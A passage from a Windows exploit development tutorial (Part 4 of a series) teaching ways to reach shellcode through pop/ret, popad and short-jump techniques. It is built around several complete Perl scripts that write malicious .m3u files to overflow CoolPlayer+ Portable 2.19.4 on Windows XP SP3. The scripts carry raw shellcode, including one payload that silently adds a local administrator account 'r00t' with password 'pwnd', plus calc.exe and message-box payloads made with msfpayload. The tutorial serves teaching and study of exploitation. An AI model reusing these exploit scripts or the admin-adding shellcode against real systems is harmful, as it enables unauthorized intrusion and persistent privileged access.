\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#
my $buffsize = 10000; \# set consistent buffer size my $junk = "\x4A" x 260;
\# simulate unusable address containing junk with 'J' my $eip =
pack\('V',0x7C924961\); \# EIP overwrite w/ pop edi pop esi pop ebp from ntdll
my $junk2 = "\x4A" x 12; \# simulate unusable address containing junk with 'J'
my $usable\_address = pack\('V',0x7C86467B\); \# jmp esp kernel32.dll my $nops
= "\x90" x 20; \# XP SP3 add admin user shellcode -- 107 bytes \# mod'd from
original by Anastasios Monachos http://www.exploit-db.com/exploits/15202/ my
$shell = "\xeb\x16\x5b\x31\xc0\x50\x53\xbb\xad\x23" .
"\x86\x7c\xff\xd3\x31\xc0\x50\xbb\xfa\xca" .
"\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63" .
"\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20" .
"\x6e\x65\x74\x20\x75\x73\x65\x72\x20" . "\x72\x30\x30\x74\x20" . \# user:
r00t "\x70\x77\x6e\x64" . \# pass: pwnd
"\x20\x2f\x61\x64\x64\x20\x26\x26\x20\x6e" .
"\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72" .
"\x6f\x75\x70\x20\x61\x64\x6d\x69\x6e\x69" .
"\x73\x74\x72\x61\x74\x6f\x72\x73\x20". "\x72\x30\x30\x74" .
"\x20\x2f\x61\x64\x64\x00"; my $sploit =
$jmp.$junk.$eip.$junk2.$usable\_address.$nops.$shell; \# build sploit portion
of buffer my $fill = "\x43" x \($buffsize - \(length\($sploit\)\)\); \# fill
remainder of buffer my $buffer = $sploit.$fill; \# build final buffer \# write
the exploit buffer to file my $file = "coolplayer.m3u"; open\(FILE,
"&gt;$file"\); print FILE $buffer; close\(FILE\); print "Exploit file \[" .
$file . "\] created\n"; print "Buffer size: " . length\($buffer\) . "\n";

12345678910111213141516171819202122232425262728293031323334353637383940414243444546 | \#\!/usr/bin/perl\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# Exploit Title: CoolPlayer+ Portable v2.19.4 - Local Buffer Overflow Shellcode Jump Demo\# Date: 12-24-2013\# Author: Mike Czumak \(T\_v3rn1x\) -- @SecuritySift\# Vulnerable Software: CoolPlayer+ Portable v2.19.4\# Software Link: http://portableapps.com/apps/music\_video/coolplayerp\_portable\# Tested On: Windows XP SP3\# Based on original POC exploit: http://www.exploit-db.com/exploits/4839/\# Details: Demo of jumping to shellcode via pop/ret sequence to stack address\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# my $buffsize = 10000; \# set consistent buffer sizemy $junk = "\x4A" x 260; \# simulate unusable address containing junk with 'J'my $eip = pack\('V',0x7C924961\); \# EIP overwrite w/ pop edi pop esi pop ebp from ntdllmy $junk2 = "\x4A" x 12; \# simulate unusable address containing junk with 'J'my $usable\_address = pack\('V',0x7C86467B\); \# jmp esp kernel32.dllmy $nops = "\x90" x 20; \# XP SP3 add admin user shellcode -- 107 bytes\# mod'd from original by Anastasios Monachos http://www.exploit-db.com/exploits/15202/my $shell = "\xeb\x16\x5b\x31\xc0\x50\x53\xbb\xad\x23" ."\x86\x7c\xff\xd3\x31\xc0\x50\xbb\xfa\xca" ."\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63" ."\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20" ."\x6e\x65\x74\x20\x75\x73\x65\x72\x20" ."\x72\x30\x30\x74\x20" . \# user: r00t"\x70\x77\x6e\x64" . \# pass: pwnd"\x20\x2f\x61\x64\x64\x20\x26\x26\x20\x6e" ."\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72" ."\x6f\x75\x70\x20\x61\x64\x6d\x69\x6e\x69" ."\x73\x74\x72\x61\x74\x6f\x72\x73\x20"."\x72\x30\x30\x74" ."\x20\x2f\x61\x64\x64\x00"; my $sploit = $jmp.$junk.$eip.$junk2.$usable\_address.$nops.$shell; \# build sploit portion of buffermy $fill = "\x43" x \($buffsize - \(length\($sploit\)\)\); \# fill remainder of buffermy $buffer = $sploit.$fill; \# build final buffer \# write the exploit buffer to filemy $file = "coolplayer.m3u";open\(FILE, "&gt;$file"\);print FILE $buffer;close\(FILE\);print "Exploit file \[" . $file . "\] created\n";print "Buffer size: " . length\($buffer\) . "\n";  
---|---  
Let’s execute the resulting m3u file \(from C:\\\) and verify the exploit
worked.

<img src='img/Temp2_9686.png' width='391' height='151' alt='win_exploit_3_31'
/>

Success\!\! A quick word of caution when choosing shellcode — never run
untrusted shellcode in a production environment\! That’s the equivalent to
blindly opening an executable from an untrusted source. We’ve still got a ways
to go in this series before we talk about constructing custom shellcode so for
now, I recommend using Metasploit to generate your shellcode or, if you’re
comfortable, using shellcode found on Exploit-DB.

#### popad

The popad instruction simply pops the first 8 double words \(4 bytes\) off of
the stack and into the 8 general purpose registers in the following order:
EDI, ESI, EBP, ESP, EDX, ECX and EAX \(with ESP being discarded\). You can use
the popad instruction in much the same way you use pop ret. Let’s say for
example, at the time of application crash, you have control over ESP + 32.
Finding a pop pop pop … pop ret sequence to get there is not likely. Instead
you can overwrite EIP with a pointer to a popad + ret instruction, which will
pop the first 32 bytes \(8 dwords\) off the stack and execute the next address
on the top of the stack. To do so, we need to find an address pointing to the
popad + ret sequence.

<img src='img/Temp2_9689.png' width='235' height='145' alt='win_exploit_3_44'
/>

This returns several possible OS module addresses — you may find that some
will not execute due to access violations. I found at least one that worked
from ntdll \(0x7C93121B\).

<img src='img/Temp2_9700.png' width='342' height='25' alt='win_exploit_3_43'
/>

In the following script I replaced EIP with this address. Just for demo
purposes, I’ve also modified the buffer to include a value for each register
to illustrate the order in which the registers are popped during a popad. Note
that I made ESP + 32 non-executable INT instructions to pause execution and
view the current state of the registers and stack.

<img src='img/Temp2_9714.png' width='448' height='316' alt='win_exploit_3_46'
/>

Here are the resulting registers and stack.

<img src='img/Temp2_9708.png' width='294' height='319' alt='win_exploit_3_45'
/>

As you can see, the registers are populated from the bottom up starting with
EDI \(and discarding ESP\). Now, if we replace the INT instructions in $esp
with a jmp esp or call esp instruction address, we can continue execution of
the shellcode that follows. Due to the limited space we are allotted at ESP,
I’ve once again chosen a smaller shellcode example, this time a simple message
box to prove successful exploit.

\#\!/usr/bin/perl
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#
\# Exploit Title: CoolPlayer+ Portable v2.19.4 - Local Buffer Overflow
Shellcode Jump Demo \# Date: 12-24-2013 \# Author: Mike Czumak \(T\_v3rn1x\)
-- @SecuritySift \# Vulnerable Software: CoolPlayer+ Portable v2.19.4 \#
Software Link: http://portableapps.com/apps/music\_video/coolplayerp\_portable
\# Tested On: Windows XP SP3 \# Based on original POC exploit:
http://www.exploit-db.com/exploits/4839/ \# Details: Demo of jumping to
shellcode via pop/ret sequence to stack address
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#
my $buffsize = 10000; \# set consistent buffer size my $junk = "\x41" x 260;
\# offset to EIP my $eip = pack\('V',0x7C93121B\); \# EIP overwrite w/ popad
ret \(ntdll\) my $regs = "\x42" x 32; \# account for registers populated by
popad my $esp = pack\('V',0x7C86467B\); \# jmp esp kernel32.dll my $nops =
"\x90" x 20; \# modified messagebox shellcode from Giuseppe D'Amore \#
http://www.exploit-db.com/exploits/28996/ my $shell =
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" .
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" .
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" .
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" .
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c" .
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x4f\x46" .
"\x21\x01\x68\x61\x64\x20\x42\x68\x20\x50\x6f\x70\x89\xe1\xfe" .
"\x49\x0b\x31\xc0\x51\x50\xff\xd7"; my $sploit =
$junk.$eip.$regs.$esp.$nops.$shell; \# build sploit portion of buffer my $fill
= "\x43" x \($buffsize - \(length\($sploit\)\)\); \# fill remainder of buffer
my $buffer = $sploit.$fill; \# build final buffer \# write the exploit buffer
to file my $file = "coolplayer.m3u"; open\(FILE, "&gt;$file"\); print FILE
$buffer; close\(FILE\); print "Exploit file \[" . $file . "\] created\n";
print "Buffer size: " . length\($buffer\) . "\n";

1234567891011121314151617181920212223242526272829303132333435363738394041 | \#\!/usr/bin/perl\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# Exploit Title: CoolPlayer+ Portable v2.19.4 - Local Buffer Overflow Shellcode Jump Demo\# Date: 12-24-2013\# Author: Mike Czumak \(T\_v3rn1x\) -- @SecuritySift\# Vulnerable Software: CoolPlayer+ Portable v2.19.4\# Software Link: http://portableapps.com/apps/music\_video/coolplayerp\_portable\# Tested On: Windows XP SP3\# Based on original POC exploit: http://www.exploit-db.com/exploits/4839/\# Details: Demo of jumping to shellcode via pop/ret sequence to stack address\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# my $buffsize = 10000; \# set consistent buffer sizemy $junk = "\x41" x 260; \# offset to EIPmy $eip = pack\('V',0x7C93121B\); \# EIP overwrite w/ popad ret \(ntdll\)my $regs = "\x42" x 32; \# account for registers populated by popadmy $esp = pack\('V',0x7C86467B\); \# jmp esp kernel32.dllmy $nops = "\x90" x 20; \# modified messagebox shellcode from Giuseppe D'Amore\# http://www.exploit-db.com/exploits/28996/my $shell = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" ."\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" ."\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" ."\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" ."\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c" ."\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x4f\x46" ."\x21\x01\x68\x61\x64\x20\x42\x68\x20\x50\x6f\x70\x89\xe1\xfe" ."\x49\x0b\x31\xc0\x51\x50\xff\xd7"; my $sploit = $junk.$eip.$regs.$esp.$nops.$shell; \# build sploit portion of buffermy $fill = "\x43" x \($buffsize - \(length\($sploit\)\)\); \# fill remainder of buffermy $buffer = $sploit.$fill; \# build final buffer \# write the exploit buffer to filemy $file = "coolplayer.m3u";open\(FILE, "&gt;$file"\);print FILE $buffer;close\(FILE\);print "Exploit file \[" . $file . "\] created\n";print "Buffer size: " . length\($buffer\) . "\n";  
---|---  
And running the resulting m3u file…

<img src='img/Temp2_9712.png' width='369' height='131' alt='win_exploit_3_48'
/>

Instead of using an EIP overwrite \(or other instruction address\) you can
also incorporate popads directly into your buffer shellcode to use as jump
code and accomplish the same thing. The opcode for a popad instruction is
\x61. Here, I’ve modified the script to do just that.

<img src='img/Temp2_9707.png' width='640' height='598' alt='win_exploit_3_50'
/>

Note the jump code \($jmp\) that first executes the popad and then jumps to
esp — equivalent to popad + ret. Since this particular demo exploit overwrites
much of the stack with our buffer, I also had to include a variable $reg,
which contains the 28 bytes of data that will be written to the registers by
the popad \(4 bytes for ESP are discarded\). This version is essentially the
same as the popad + ret set of instructions we called in our previous example
and as such, it yields the same result:

<img src='img/Temp2_9712.png' width='335' height='119' alt='win_exploit_3_48'
/>

### Near/Short and Conditional Jumps

By incorporating unconditional and conditional jumps in our exploit, we can
hop to different sections of our buffer to reach our shellcode. A _near_ jump
is a jump to a CPU instruction that is located within the current code
segment. A _short_ jump is a type of near jump that is limited in range from
-128 to + 127 \(from current EIP\). To execute an unconditional short jump you
simply use the opcode \xeb\xXX where XX is the number of bytes to jump.
Positive \(forward\) short jumps have possible hex values for XX of 00 to 7F
and negative \(backward\) short jumps from 80 to FF. In other words, a forward
jump of 20 bytes is \xeb\x14 and a backward jump of 20 bytes is \xeb\xea. The
forward jump is easy to understand: 14 hex = 20 decimal. But what about the
backward jump — EA hex = 234 decimal. How is that right? For a backward jump
you have to do a bit of simple math. Here’s how I got to \xea… First, take
your desired backward jump length and add 2. Why? Because the byte count of a
jump always begins at the byte after the jump. Since this is a backwards jump,
it wastes 2 extra bytes jumping back past itself. So if we want to jump
backwards 20 bytes, we should really jump 22. Now do the following:

Convert 22 to binary: | 0001 0110  
---|---  
Subtract 1 | 0001 0101  
Invert | 1110 1010 = 0xEA  
If you want to read a bit more about jumps and the 2’s complement math behind
calculating negative/backward jumps, check out this page. Let’s try out a few
short jumps. To do so, we’ll update our original code, replacing the add ebx
jump code with a forward short jump. Note in the below code that I changed the
$junk portion of the buffer to all NOPs and placed the jump code after $junk.
Since EBX points to the beginning of our shellcode, when we execute the CALL
EBX instruction \($eip\), it will land us in the NOPs which will slide to the
short jump, hop over EIP and right into our NOPs/shellcode.

Here’s a visual:

<img src='img/Temp2_9698.png' width='640' height='161' alt='win_exploit_3_51'
/>

Here’s the updated code:

\#\!/usr/bin/perl my $buffsize = 10000; \# set consistent buffer size my $jmp = "\xeb\x4"; \# 4 bytes short jump to hop over EIP and into nops/shellcode my $junk = "\x90" x \(260 - length\($jmp\)\); \# nops to slide into $jmp; offset to eip overwrite at 260 my $eip = pack\('V',0x7c810395\); \# call ebx \[kernel32.dll\] which points to start of buffer and our jump code \# no usable application module found my $nops = "\x90" x 50; \# Calc.exe payload \[size 227\] \# msfpayload windows/exec CMD=calc.exe R | \# msfencode -e x86/shikata\_ga\_nai -t perl -c 1 -b '\x00\x0a\x0d\xff' my $shell = "\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9" . "\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92" . "\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84" . "\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e" . "\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1" . "\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27" . "\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb" . "\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b" . "\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2" . "\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37" . "\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3" . "\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef" . "\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb" . "\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf" . "\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83" . "\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3" . "\x9a\xca\xc0"; my $sploit = $junk.$jmp.$eip.$nops.$shell; \# build sploit portion of buffer my $fill = "\x43" x \($buffsize - \(length\($sploit\)\)\); \# fill remainder of buffer for size consistency my $buffer = $sploit.$fill; \# build final buffer \# write the exploit buffer to file my $file = "coolplayer.m3u"; open\(FILE, "&gt;$file"\); print FILE $buffer; close\(FILE\); print "Exploit file \[" . $file . "\] created\n"; print "Buffer size: " . length\($buffer\) . "\n";
12345678910111213141516171819202122232425262728293031323334353637383940 | \#\!/usr/bin/perlmy $buffsize = 10000; \# set consistent buffer sizemy $jmp = "\xeb\x4"; \# 4 bytes short jump to hop over EIP and into nops/shellcodemy $junk = "\x90" x \(260 - length\($jmp\)\); \# nops to slide into $jmp; offset to eip overwrite at 260my $eip = pack\('V',0x7c810395\); \# call ebx \[kernel32.dll\] which points to start of buffer and our jump code\# no usable application module foundmy $nops = "\x90" x 50; \# Calc.exe payload \[size 227\]\# msfpayload windows/exec CMD=calc.exe R |\# msfencode -e x86/shikata\_ga\_nai -t perl -c 1 -b '\x00\x0a\x0d\xff'my $shell = "\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9" ."\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92" ."\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84" ."\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e" ."\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1" ."\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27" ."\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb" ."\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b" ."\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2" ."\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37" ."\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3" ."\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef" ."\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb" ."\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf" ."\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83" ."\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3" ."\x9a\xca\xc0"; my $sploit = $junk.$jmp.$eip.$nops.$shell; \# build sploit portion of buffermy $fill = "\x43" x \($buffsize - \(length\($sploit\)\)\); \# fill remainder of buffer for size consistencymy $buffer = $sploit.$fill; \# build final buffer \# write the exploit buffer to filemy $file = "coolplayer.m3u";open\(FILE, "&gt;$file"\);print FILE $buffer;close\(FILE\);print "Exploit file \[" . $file . "\] created\n";print "Buffer size: " . length\($buffer\) . "\n";  
---|---  
In the event that your buffer is fragmented by the application, you can use
multiple short jumps to hop to your shellcode. In this scenario, our buffer is
fragmented and we need to jump over the garbage characters \(represented by
\xcc\) using multiple short jumps. Here is what it looks like on the stack:

<img src='img/Temp2_9683.png' width='227' height='368' alt='win_exploit_3_52'
/>

You can see where I’ve inserted two short jumps. Just like in the last
example, when EIP redirects flow back to the beginning of our buffer, the NOPs
will slide to the first short jump. This time, the short jump is 50 bytes in
order to jump over both EIP and the garbage characters that follow. This jump
should land at the next short jump \(preceded by a few NOPs\) which will then
hop 100 bytes over the next set of garbage characters and into our
NOPs/shellcode. Here’s the code:

\#\!/usr/bin/perl my $buffsize = 10000; \# set consistent buffer size my $jmp1 = "\xeb\x32"; \# 50 byte short jump to hop over EIP and garbage and into next short jump my $junk = "\x90" x \(260 - length\($jmp1\)\); \# nops to slide into $jmp; offset to eip overwrite at 260 my $eip = pack\('V',0x7c810395\); \# call ebx \[kernel32.dll\] which points to start of buffer and our jump code my $garbage1 = "\xcc" x 45; my $jmp2 = "\x90\x90\x90\x90\x90\x90\xeb\x64"; \# 100 byte short jump over garbage 2 and into NOPs/shellcode my $garbage2 = "\xcc" x 97; my $nops = "\x90" x 50; \# Calc.exe payload \[size 227\] \# msfpayload windows/exec CMD=calc.exe R | \# msfencode -e x86/shikata\_ga\_nai -t perl -c 1 -b '\x00\x0a\x0d\xff' my $shell = "\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9" . "\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92" . "\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84" . "\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e" . "\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1" . "\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27" . "\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb" . "\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b" . "\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2" . "\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37" . "\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3" . "\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef" . "\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb" . "\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf" . "\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83" . "\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3" . "\x9a\xca\xc0"; my $sploit = $junk.$jmp1.$eip.$garbage1.$jmp2.$garbage2.$nops.$shell; \# build sploit portion of buffer my $fill = "\x43" x \($buffsize - \(length\($sploit\)\)\); \# fill remainder of buffer for size consistency my $buffer = $sploit.$fill; \# build final buffer \# write the exploit buffer to file my $file = "coolplayer.m3u"; open\(FILE, "&gt;$file"\); print FILE $buffer; close\(FILE\); print "Exploit file \[" . $file . "\] created\n"; print "Buffer size: " . length\($buffer\) . "\n";
1234567891011121314151617181920212223242526272829303132333435363738394041424344 | \#\!/usr/bin/perl my $buffsize = 10000; \# set consistent buffer size my $jmp1 = "\xeb\x32"; \# 50 byte short jump to hop over EIP and garbage and into next short jumpmy $junk = "\x90" x \(260 - length\($jmp1\)\); \# nops to slide into $jmp; offset to eip overwrite at 260my $eip = pack\('V',0x7c810395\); \# call ebx \[kernel32.dll\] which points to start of buffer and our jump codemy $garbage1 = "\xcc" x 45;my $jmp2 = "\x90\x90\x90\x90\x90\x90\xeb\x64"; \# 100 byte short jump over garbage 2 and into NOPs/shellcodemy $garbage2 = "\xcc" x 97;my $nops = "\x90" x 50; \# Calc.exe payload \[size 227\]\# msfpayload windows/exec CMD=calc.exe R |\# msfencode -e x86/shikata\_ga\_nai -t perl -c 1 -b '\x00\x0a\x0d\xff'my $shell = "\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9" ."\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92" ."\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84" ."\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e" ."\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1" ."\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27" ."\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb" ."\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b" ."\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2" ."\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37" ."\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3" ."\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef" ."\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb" ."\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf" ."\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83" ."\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3" ."\x9a\xca\xc0"; my $sploit = $junk.$jmp1.$eip.$garbage1.$jmp2.$garbage2.$nops.$shell; \# build sploit portion of buffermy $fill = "\x43" x \($buffsize - \(length\($sploit\)\)\); \# fill remainder of buffer for size consistencymy $buffer = $sploit.$fill; \# build final buffer \# write the exploit buffer to filemy $file = "coolplayer.m3u";open\(FILE, "&gt;$file"\);print FILE $buffer;close\(FILE\);print "Exploit file \[" . $file . "\] created\n";print "Buffer size: " . length\($buffer\) . "\n";  
---|---  
Although there’s not real practical purpose for it here, I’ll demonstrate the
backwards short jump by replacing $jmp2 with
“\x90\x90\x90\x90\x90\x90\xeb\xea” to represent a backwards short jump of
effective length 20 \(technically 22 counting the 2 bytes lost by jumping over
itself\). Doing so should land us 20 bytes back in our INT instructions.

<img src='img/Temp2_9711.png' width='229' height='215' alt='win_exploit_3_53'
/>

It works. Again no real practical purpose for this particular exploit, but
these examples should illustrate the possibilities of short jumps in case you
find yourself in a situation where an exploit calls for them. Conditional
jumps are just near/short jumps that are taken if certain conditions are met,
dictated by the status of the corresponding flags \(recall the EFLAGS register
from Part 1\). For example, a “jump if equal” \(JE\) or “jump if zero” \(JZ\)
is taken if the zero flag is set to 1. Conversely, a “jump if not equal”
\(JNE\) or “jump if not zero” \(JNZ\) is taken if the zero flag is set to 0.
The syntax is similar to a regular short jump, just using a different opcode.
The opcode for a JNE is 75 so the instruction to jump forward 20 bytes is
\x75\x14. I won’t give another demo of the conditional jump since the concept
is exactly the same as the previous short jump examples. Just keep them in
mind because you may be faced with a situation where an unconditional,
standard short jump can’t be used and you must therefore turn to a conditional
jump. Though it covers topics I haven’t yet gotten to in this exploit
development series, if you want a real-world example of why you might need to
use a conditional jump when constructing an exploit, check out this page.
Here’s a good reference on the available conditional jumps and their
corresponding opcodes and status flags:
http://www.unixwiz.net/techtips/x86-jumps.html.

### Conclusion

I hope this installment in the Windows Exploit series clearly illustrated some
of the ways in which you can reach your shellcode using various jump
techniques including manipulating the contents of the registers and stack as
well as using unconditional or conditional jumps. Keep in mind this is not an
exhaustive list of possibilities and you may find yourself using various
combinations of any of these jump techniques when building an exploit. In Part
5 we’re going to cover one more technique of finding shellcode called
Egghunting.

<img src='img/Temp2_9695.png' width='30' height='19' />

Related Posts:

  * Windows Exploit Development – Part 1: The Basics
  * Windows Exploit Development – Part 2: Intro to Stack Based Overflows
  * Windows Exploit Development – Part 3: Changing Offset and Rebased Modules
  * Windows Exploit Development – Part 4: Locating Shellcode with Jumps
  * Windows Exploit Development – Part 5: Locating Shellcode with Egghunting
  * Windows Exploit Development – Part 6: SEH Exploits
  * Windows Exploit Development – Part 7: Unicode Buffer Overflows

### Share this:

  * Google
  * Twitter
  * Facebook
  * LinkedIn
  * Email
  * Pinterest
  * Reddit
  * 

